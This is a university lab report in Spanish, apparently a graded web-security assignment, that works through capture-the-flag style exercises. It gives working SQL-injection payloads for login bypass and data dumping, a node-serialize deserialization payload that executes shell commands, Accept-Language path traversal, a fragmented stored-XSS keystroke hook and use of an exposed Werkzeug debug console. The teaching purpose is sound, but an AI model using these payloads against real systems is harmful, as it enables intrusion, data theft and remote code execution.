Práctica 2 : Seguridad Web

Alumno:Pablo Alonso

1)

a-

Al provocar un error en la consulta sql, por ejemplo con bob' UNION SELECT NULL, se presenta un Traceback y al seleccionar una linea de código accedemos al código fuente. Leyendo el código fuente se inyecta el siguiente fragmento de consulta para vulnerar el login ingresando lo siguiente en el username:

```
dafd' UNION SELECT 1,
'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb','' --
```

En la password se ingresa solo 'a' y se accede al secreto de bob: i have no secrets .

b-

El servidor lanza una excepción si el user_id devuelto por la consulta no se trata de una clave en el diccionario que guarda los secretos, en el cual se imprime el resultado de la consulta. Aprovechando eso, se puede inyectar el siguiente código a travez del username:

```
dfas' UNION SELECT
(SELECT COUNT(id) FROM(users),
'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb',
'' --
```

Nuevamente se ingresa 'a' como password y se imprime lo siguiente: KeyError '6', 6 corresponde al resultado de la consulta SELECT COUNT(id) FROM(users).

c-

Aprovechando lo anterior, se inyecta:

```
asdf' UNION SELECT
(SELECT GROUP_CONCAT(username) FROM users),
'ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb',''
```

Y surge una KeyError exception: KeyError: 'cacho,bob,john,mallory,eve,kisio'.

'cacho,bob,john,mallory,eve,kisio' corresponde al resultado de SELECT GROUP_CONCAT(username) FROM users.

2)

a-

Se utiliza Javascript del lado del servidor.

b-

Al ingresar por primera vez el sitio no muestra nada interesante. Si se refresca surge un error del tipo “SyntaxError: Unexpected token F in JSON at position 79 at JSON.parse”. Es decir que se está mandando información al servidor web en forma de objeto JSON y este intenta deserializarlo para transformarlo en un objeto Javascript. Al interceptar un paquete con Burp Suite se observa que el servidor asigna una cookie al navegador. El token de la cookie es:

eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D.

Dado que ’%3D’ es ’=’ encodeado en URL encoding se reemplaza y decodifica en base64:

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}

Observar que la falta de “ en Friday explica el error con el que resonde el servidor. Esto da el indició de que lo que se intenta deserializar a objeto Javascript es el token decodificado que se pasa como Cookie. Se codifica el siguiente JSON en base64 y se envia como cookie:

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}

La respuesta es “Hello Admin”, es decir que dentro de la aplicación se invoca al atributo username.

c-

Una forma de explotar la vulnerabilidad encontrada es pasar como valor de username una función que se termine ejecutando del lado del servidor, para conseguir el token que vamos a pasar como cookie se ejecuta el siguiente código javascript:

```
var comm = 'cat server.js'
var y = {
    username: function(){
          var execSync = require('child_process').execSync;
          return execSync(comm, { encoding: 'utf-8' });
    },

}
var serialize = require('node-serialize');
console.log("Serialized:" + serialize.serialize(y));
```

Obtenemos el siguiente JSON:

{“username”: "_$$ND_FUNC$$_function (){ var execSync = require('child_process').execSync;return execSync('cat server.js', { encoding: 'utf-8' }) }()" }

Se encodea en base64 y se lo agrega como cookie. Luego cuando la aplicación procesa esta request termina ejecutando el comando pasado.

3)

a-

La apicación es vulnerable a sql injection a trávez del parámetro id que se pasa por GET. Esto es comprobable al percibir respuestas distintas al agregar junto con el id fragmentos de consultas del tipo and o union.

b-

Se puede obtener el código de la aplicación ya que la consulta que se realiza con el parámetro id retorna la ruta del archivo. Entonces mandando “id=9 UNION SELECT alguna_ruta” se puede leer cualquier contenido dentro de la aplicación. El único problema es que no se conoce los nombres de los archivos de la aplicación entonces hacemos uso de la tool intruder de BurpSuite para hacer un ataque por diccionario hasta dar con el nombre de algún archivo dentro de la aplicación. Finalmente se logra dar con main.py y se encuentra la FLAG:”SEGURIDAD-OFENSIVA-FAMAF”.

4)

a-

Usando Burp Suite, podríamos capturar una request como esta:

GET / HTTP/1.1
Host: 143.0.100.198:5010
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Y modificarla de la siguiente manera:

GET / HTTP/1.1
Host: 143.0.100.198:5010
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ....//what_i_want

Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Basta reemplazar what_i_want para escaparse de la carpeta lang e incluir otros archivos locales del servidor dentro del script.

b-

Un script mas adecuado seria:

```
<?php class LangMgr{
       public function newLang(){
            $lang = $this->getBrowserLang();
            $sanitizedLang = $this->sanitizeLang($lang);
            require_once("/lang/$sanitizedLang");
       }

       private function getBrowserLang(){
            $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
            return $lang;
       }

      private function sanitizeLang($lang){
            return substr($lang,2);
      }
}

(new LangMgr())->newLang(); ?>
```

5)

El tipo de ataque que se lleva a cabo sobre la máquina owaspbwa es del tipo XSS Stored. Se observa que una base de tados almacena el nombre y el mensaje ingresados y que la aplicación los agrega en el html de respuesta tal cual se ingresan. La idea es insertar un script como el que se describe a continuación:

```
<script>
var i = 0;
document.getElementsByTagName("textarea")[0].onkeypress=function(){
alert(i);i++;};
</script>
```

Dado que el textarea que ofrece el sitio acepta una pequeña cantidad de carácteres, se hace uso de los comentarios para trozar el script en pequeños fragmentos y poder ingresarlo al sistema de la aplicación. Entonces se ingresan nombres y mensajes como los que siguen:

nombre:1
mensaje:<script>/*

nombre:2

mensaje:*/var i = 0;/*

nombre:3
mensaje:*/document./*

nombre:4
mensaje:*/getElementsByTagName("textarea")[0]/*

nombre:5
mensaje:*/.onkeypress=function()/*

nombre:6
mensaje:*/{alert(i);i++;};/*

nombre:7
mensaje:*/</script>

Y se logra capturar el evento de que el usuario de la aplicación pulse una tecla.

6)

a-

Flag:ThIs_Even_PaSsED_c0d3_rewVIEW

b-

Se observa en el header server que la tecnología que se usa en el servidor web es Werkzeug 0.10.4. Investigando esta tecnología se descubre que la versión contiene reportes de varias vulnerabilidades: SharedDataMiddleware y XSS entre otras. Además esta tecnología tiene un debuguer que permite abrir una consola python en la aplicación web la cuál puede ejecutar codigo arbitrario dentro del contexto de la aplicación web. Se invoca dicha consola en http://143.0.100.198:5001/console y se observa que la misma se encuentra disponible . Una vez dentro de la consola se imprime el código de la aplicación y se observa la siguiente linea de código:

```
app.run(debug=True, host="0.0.0.0", port=1337)
```

En resumen, el error es que se esta corriendo la aplicación web dentro de un servidor de producción con la bandera de debug encendida y esto habilita una consola dentro de la aplicación disponible para cualquier intruso.

Otra alternativa para encontrar esta vulnerabilidad es con dirbuster.